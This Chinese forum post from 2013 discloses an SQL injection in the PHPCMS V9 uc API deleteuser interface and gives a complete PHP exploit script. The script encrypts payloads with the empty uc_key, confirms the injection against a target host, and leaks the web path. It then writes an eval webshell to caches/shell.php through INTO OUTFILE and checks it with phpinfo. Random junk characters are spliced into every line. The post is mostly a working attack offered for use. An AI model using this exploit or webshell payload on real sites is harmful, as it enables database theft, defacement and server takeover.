找回密码
 立即注册
查看: 2455|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
- `6 R# K1 J3 N8 [) f$ x' W5 Q
* Q. L7 S4 W( s4 p所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。9 J- A  k  y4 ~' P, n3 `
7 Z- U. U' H* _! F' `
漏洞分析:# Z) q$ L, p' @  g
1.未启用ucenter服务的情况下uc_key为空" a7 w! N: h+ q! {( [
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
4 t8 d* ^8 V6 c! j2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
, T/ o0 d" L' ~* C/ z    public function deleteuser($get,$post) {- n5 p' b5 m, j" q
        pc_base::load_app_func('global', 'admin');6 M* w; Y' c: S# ^5 ]/ Y6 r2 |
        pc_base::load_app_class('messagequeue', 'admin' , 0);
( R6 K- ^# p) [, x  |) T- f  {        $ids = new_stripslashes($get['ids']);
8 u, ~# x3 u) ^! ?3 a        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
2 v) t% m5 M, e: n" \8 ?SQL语句为8 c6 {9 }: _9 l' Q* `/ M+ s. x
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
0 @( v7 i& f% Q) D) B
8 ]3 T- V8 ]7 C1 G8 u; u+ o, T利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell! ]9 e. p+ l7 S! L) T- p) G
<?php
+ G8 i2 m. P4 B- Bprint_r('" [2 X+ n- ?6 k& ?7 \
---------------------------------------------------------------------------3 I& o9 T3 N9 {/ N, a6 W0 n
PHPcms (v9 or Old Version) uc api sql injection 0day7 Q4 O2 U- m" A7 h; M7 o* {
by rayh4c#80sec.com6 Z, m8 m% I7 t$ Q
---------------------------------------------------------------------------
5 o  c; o: t5 t% b1 `- q');
0 E5 C) W5 ~5 Z; A, c8 c/ I/ f6 O9 T- W, n* j' L- D
if ($argc<3) {
  c& j. h, [# f2 o1 e+ ]5 A& H    print_r('
" v0 O& d1 ^' P2 c7 M2 w5 W& \: a---------------------------------------------------------------------------
9 I! U( T) x% A( u2 d9 xUsage: php '.$argv[0].' host path OPTIONS. }* n1 ^, k! V+ ^# q4 I
host:      target server (ip/hostname)
$ w0 F0 Z1 h) n' _' Z2 I8 U) i# \path:      path to phpcms0 u2 [* X. m( w6 L8 m' w# R9 t  i
Options:
4 K; x0 H1 O  m -p[port]:    specify a port other than 80
; T4 d$ V9 M8 A2 }8 S -P[ip:port]: specify a proxy
: G! f0 n, D% @8 v7 g/ IExample:7 y( H# n4 s4 t
php '.$argv[0].' localhost /2 F  }( s; z, E1 E, E
php '.$argv[0].' localhost /phpcms/ -p816 `) L* u6 t( z$ D2 J9 T
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% d; X7 c7 C; U" D- M! e---------------------------------------------------------------------------6 C! g- D+ g* z$ e
');
0 }9 j3 U# [( b    die;
7 X6 J: i( I# Z9 {}- R3 w) {; G: Y2 a! M

, I$ I- s1 V: a  ~error_reporting(7);
9 c( Y2 M! A$ s5 R2 H& x0 Lini_set("max_execution_time",0);
' E  P: P! d2 b% s$ ]) M. mini_set("default_socket_timeout",5);
# R4 S3 K6 R% g; k, Y% S  O' [( k
8 d6 ?( y: B( c& v0 b6 Ufunction quick_dump($string)8 G- d/ T3 g* j
{) F. m! L0 }2 c2 ^5 V& v! |6 T
  $result='';$exa='';$cont=0;1 {* E! r+ ?: ~% b4 c/ _
  for ($i=0; $i<=strlen($string)-1; $i++)4 N+ ?! }. O. S& @/ K. m8 `' o
  {
2 P- W) a' B. e, W: @4 L   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))' ?: T/ I" C, _# X' I
   {$result.="  .";}
" ?' g+ y, i! r2 s, {; W/ L# ?$ ~. U   else0 S) S  U: u# ~5 m6 Y. u
   {$result.="  ".$string[$i];}
& @# p& M8 j3 A' E; u   if (strlen(dechex(ord($string[$i])))==2)$ u: d5 }+ @& q) L0 ^8 [; l: K6 F
   {$exa.=" ".dechex(ord($string[$i]));}
* A! T* e( q- W3 W+ l   else
% f' H8 ?+ E4 n) F/ b' Y& e* e   {$exa.=" 0".dechex(ord($string[$i]));}
/ u* Q. |5 I, d! [0 w; V+ ~$ C   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}2 y4 ]- W' Q" ]- A& k; Q
  }0 @( F- T5 h; f. O/ O; u# C
return $exa."\r\n".$result;
+ Y+ C2 l; X1 ~' a  H' a* u}
% F. a: ]3 A0 w6 r$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
! B5 c" f" {. o- h9 X
# \- \/ E& d3 I% A2 ^function send($packet)3 {( M' r" ?5 j; T3 I5 ]/ k
{9 s9 S1 w. \5 V0 C4 z% R( U' R
  global $proxy, $host, $port, $html, $proxy_regex;4 l4 X$ L9 }6 g" u8 j: @2 ]9 x
  if ($proxy=='') {+ X4 @; Q* n5 e6 ^; L
    $ock=fsockopen(gethostbyname($host),$port);% W% A( g/ G- B/ M
    if (!$ock) {3 F" ]# N2 G! P% |
      echo 'No response from '.$host.':'.$port; die;
9 z9 o. y4 {2 d0 J  A    }
! w: C6 a/ \0 f, ?8 \/ [8 c1 H) y  }6 X( ~1 L5 [/ z9 A9 G/ i/ R* T
  else {$ Y% k$ b1 N/ o5 g2 U2 Z9 l
        $c = preg_match($proxy_regex,$proxy);$ f6 M& {8 Z% Z1 G( B, R, p9 ?/ R
    if (!$c) {: z9 a! V1 P3 X
      echo 'Not a valid proxy...';die;% H' u" G5 z. r  B6 S6 z" s$ P/ ~
    }
: Q1 U: s! k! Y  G4 l    $parts=explode(':',$proxy);- \, `' M8 x/ Y5 \; n
    $parts[1]=(int)$parts[1];
, }# I# f' `( \1 R! x    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";" S) }  F/ ?% v* O- `
    $ock=fsockopen($parts[0],$parts[1]);+ i: M9 c1 N; m$ f& G
    if (!$ock) {
* W3 N5 ~6 U( O2 ?' @  o      echo 'No response from proxy...';die;
+ M5 S3 b5 M0 ^7 ^$ j  I/ R' S        }4 V& m3 p: I! S8 P
  }! g$ \$ T- P0 m, F, k2 G
  fputs($ock,$packet);( J/ z5 A# R0 z" P# G7 f
  if ($proxy=='') {
2 b: c5 Y: w  K3 _6 o7 [7 Z    $html='';
$ }& @! e2 D. `( R! W9 _    while (!feof($ock)) {
3 y7 q9 d5 @/ I4 M* T/ y      $html.=fgets($ock);
( J; u# k2 x- g6 q6 [    }
* Q! G* z7 g2 O1 O4 b2 j) H  }
; c' S6 [* s4 L' N( o( q  else {0 i2 K# I; J9 A. O# ^9 k
    $html='';& M/ }$ O0 k6 {+ o8 t
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {$ q! |7 D$ f. d* x( ]
      $html.=fread($ock,1);
% l0 r/ f5 x. m# @3 a    }) N8 H- c& z2 r2 h
  }! U/ g( }6 M: d2 V( |% L* X8 y
  fclose($ock);5 d2 D: i, E! W8 b/ f& o
}
1 W3 Z6 F# G- k. N7 `* E
& {- c! a- P) M8 x& j$host=$argv[1];
& P: {8 r; U3 W7 Y' ^0 [9 }$path=$argv[2];* \  f6 |. ?% _9 c" R- Y) i3 e
$port=80;6 H$ V: u3 x6 ~
$proxy="";( K  L' d: J9 Q: X9 f! D  J
for ($i=3; $i<$argc; $i++){
7 f6 t) u: @/ Y" K  N$temp=$argv[$i][0].$argv[$i][1];2 Y) Z" ]# t, H+ y
if ($temp=="-p")
/ f0 W! L, D# R  `0 Y( I{. ?) Y, I$ F7 ^7 `" J2 P. ]
  $port=(int)str_replace("-p","",$argv[$i]);& E, q8 r/ T# b( C2 o/ C
}
/ P; q% y1 ?7 X- q" K4 m" `" R0 R* vif ($temp=="-P")1 j5 {7 v! z& f. ?% H0 S' e/ i
{" T5 \2 H. D9 S" S8 }! Q
  $proxy=str_replace("-P","",$argv[$i]);& J/ d' A: h( s; n9 O0 e
}- {4 t# o) k, g- r8 q
}
* ?! @' P& l+ S7 o8 U! ^$ F9 V" e2 }. c) M- B4 G
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
: o# e* T7 w% f, Z' }  H! Cif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/ V. y, m, j2 Z$ E9 T! M: v# q8 B+ o4 v2 E. B* o
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {' u, W3 f- f' T

5 i$ T& W/ g  ~2 H    $ckey_length = 4;. Q& p, R3 i; F  S% O: c) H) P
# {7 M/ q2 y, J9 p. N! J: a3 z8 v$ o
    $key = md5($key ? $key : '');& v3 N& C+ o+ w
    $keya = md5(substr($key, 0, 16));9 U# }) R# _; [: D* y; x
    $keyb = md5(substr($key, 16, 16));
& w. Q' W9 v7 p- P/ j0 P    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
9 O. l& E; U. e& U7 d
( F- i0 Z1 M7 [* [    $cryptkey = $keya.md5($keya.$keyc);
: `: F' `: l0 ~    $key_length = strlen($cryptkey);" S* X1 e3 Z2 J: l$ q* }, D/ J

- n8 q% N( H7 Q  O1 a& o8 a    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
' X) R8 p" D9 q3 }+ L4 ^    $string_length = strlen($string);
: a; o  p0 M% X& [
) J. o5 w6 w% g9 Q$ b    $result = '';
9 {" M  c5 b3 b' [8 T    $box = range(0, 255);
0 |# g4 J- X4 O. z1 e. j0 s6 g; n& x$ x  ~7 O' f( ~
    $rndkey = array();; {7 H' W8 N( s% g' ~. c# g4 a5 x  \
    for($i = 0; $i <= 255; $i++) {
& e3 ~! B2 d) o0 A6 J3 Q: Z. U        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
8 r. o- t: G/ h0 ]    }. y+ u+ s4 P' [# |" I5 H6 \4 D7 ^
, [7 T) a5 U0 W1 v1 E
    for($j = $i = 0; $i < 256; $i++) {2 s* Q  ?" E2 I; l
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;( ~' T1 U& t& Q+ |$ |( A+ ?  Y
        $tmp = $box[$i];
5 Y6 q/ p; p; y        $box[$i] = $box[$j];
- H- ~# m; f' R4 q5 G5 N        $box[$j] = $tmp;7 g2 U: }& V) W
    }
" ]5 d: D8 z. b% W
6 N: t: R& r( W3 [% B* V: [, O, O    for($a = $j = $i = 0; $i < $string_length; $i++) {9 X! n6 C" y; a2 e( O  M& l: Y
        $a = ($a + 1) % 256;+ y& d6 h8 ]  f0 L9 V9 e
        $j = ($j + $box[$a]) % 256;& q# f5 J8 Z* d7 j8 u% h# Y
        $tmp = $box[$a];
3 H8 i" ^* G- R  R" g. M        $box[$a] = $box[$j];
! G- k* `: r% O0 [: C" l5 k        $box[$j] = $tmp;, x# @) M, k3 U7 i& K7 Y
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));5 _# M6 n  _+ G  j/ R4 i7 ~
    }
* ~% @+ ^! L3 C4 f/ Y2 r0 m3 k8 I+ W
5 a5 i" \. N" L    if($operation == 'DECODE') {) K- D7 M( w( m' y3 T" G3 A- y2 Z
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) d) \6 s5 ^* a* U$ L9 [            return substr($result, 26);! i& J) B6 c4 h& r) h- K
        } else {  C+ O! Q% X5 K! y! W/ Q
            return '';
' e* `. z; C) k9 t- a; ?' @        }! _1 X5 l2 Z2 i! o0 V
    } else {6 u7 ~$ H' E& B3 J3 t# S
        return $keyc.str_replace('=', '', base64_encode($result));2 F2 M# n# k$ V, d+ m7 d
    }1 n. _0 d/ x1 t0 J: r7 b

+ X" v. N& q+ t1 z}; f& @* a. ?6 Q. }) M: g$ f
) q9 l0 @% a2 c5 P) R+ t- g
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";5 ~  X$ w6 z. X/ G" a
$SQL = urlencode(authcode($SQL, "ENCODE", ""));; p" P' _% t  h% o
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" }/ o' ]" B5 \' Z/ }. D! p! N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
! T% h8 O& k" N! C2 W' c0 D6 Q! [$packet.="User-Agent: Mozilla/5.0\r\n";
# c+ q% G/ l. Y( E7 r& U2 V$packet.="Host: ".$host."\r\n";
1 C$ `5 }; {* Y; Q$packet.="Connection: Close\r\n\r\n";
" R, `" K1 c. {+ rsend($packet);
+ m# V/ }  W: v7 y0 C1 pif(strpos($html,"MySQL Errno") > 0){
- {( N4 Q- a  l$ L* Fecho "[2] 发现存在SQL注入漏洞"."\n";
- G& |) x- s+ v  Zecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
+ P5 p6 }' y8 M9 P/ B1 d. h2 d$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
+ \$ R8 p# f6 v0 V* i$packet.="User-Agent: Mozilla/5.0\r\n";
, |0 H8 h5 M% A  q* `8 F, X$packet.="Host: ".$host."\r\n";
; ~3 J% Z3 d3 v0 D# q$packet.="Connection: Close\r\n\r\n";
8 D: @9 |) W$ ^+ v/ M8 d( Ysend($packet);( v* a  v; I9 d
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);/ a" h- W9 Z$ R! N' [
//print_r($matches);' S. u/ t6 T# q
if(!empty($matches)){
8 T! h/ d- Y3 b/ `# N7 r, o  V, mecho "[4] 得到web路径 " . $matches[0]."\n";
( ], h' n6 [1 F: uecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% |% r3 v9 B  F( z- F* D* B. _* b$SQL = "time=999999999999999999999999&ids=1)";/ k2 @( \& ^' w8 c
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";' S" ?4 F1 B5 w. E$ r
$SQL.="&action=deleteuser";
& _& B& r7 X4 F+ v$SQL = urlencode(authcode($SQL, "ENCODE", ""));
9 E) E* g/ m' @8 Decho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" J4 O/ w0 H4 }- u7 X$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
+ _! E6 D0 X: c. N' G) l4 B' t$packet.="User-Agent: Mozilla/5.0\r\n";3 L' A( I% [. d$ U) d; s6 l6 ]! U3 O
$packet.="Host: ".$host."\r\n";
) o1 E/ K% Z6 s' ]' Q3 u$packet.="Connection: Close\r\n\r\n";
& f& T; W$ [( C. H- u# Ksend($packet);
) X  F/ ]) |7 \. h" J. |# yif(strpos($html,"Access denied") > 0){& o/ o2 G/ H5 @% W3 f- I% B& B
echo "[-] MYSQL权限过低 禁止写入文件 ";. Q* i, w6 C6 M0 m. D4 P9 l8 A
die;
  A% F# v1 J$ T}! }& L8 ], a* N' v
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";3 g( o* L/ {: E$ N( i8 i+ f+ S- }  n
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";! I0 e2 Z7 [1 c* \
$packet.="User-Agent: Mozilla/5.0\r\n";: W. T: I' f- [. X4 G+ D; M/ n
$packet.="Host: ".$host."\r\n";4 k1 l5 K" S9 I/ V; P$ I8 ~
$packet.="Connection: Close\r\n\r\n";; |, D% G* h7 N; e
send($packet);$ b$ y8 ]0 o" H# Z# o2 E
if(strpos($html,"<title>phpinfo()</title>") > 0){$ v% l' J& _3 H+ f& |0 R( q
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
7 Z7 P5 n+ k0 F4 Z9 L  r& ~}5 u3 ?2 o: B0 f9 p2 q
}else{- S6 B; P( w4 ?8 K; T  U# L3 O
echo "[-]未取到web路径 ";
1 j5 r3 U4 y* q, t& K# @: v  _}
& d: p/ N8 T, h1 c7 J- K1 l9 |* Y1 _}else{
% K8 K( {* ]. [: \+ w5 Wecho "[*]不存在SQL注入漏洞"."\n";- r. P! r3 v1 K' p
}
* ?3 O2 [3 W" l9 x9 q' W& F! o% A2 u
?>/ r" a9 ]! ^* L3 o3 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表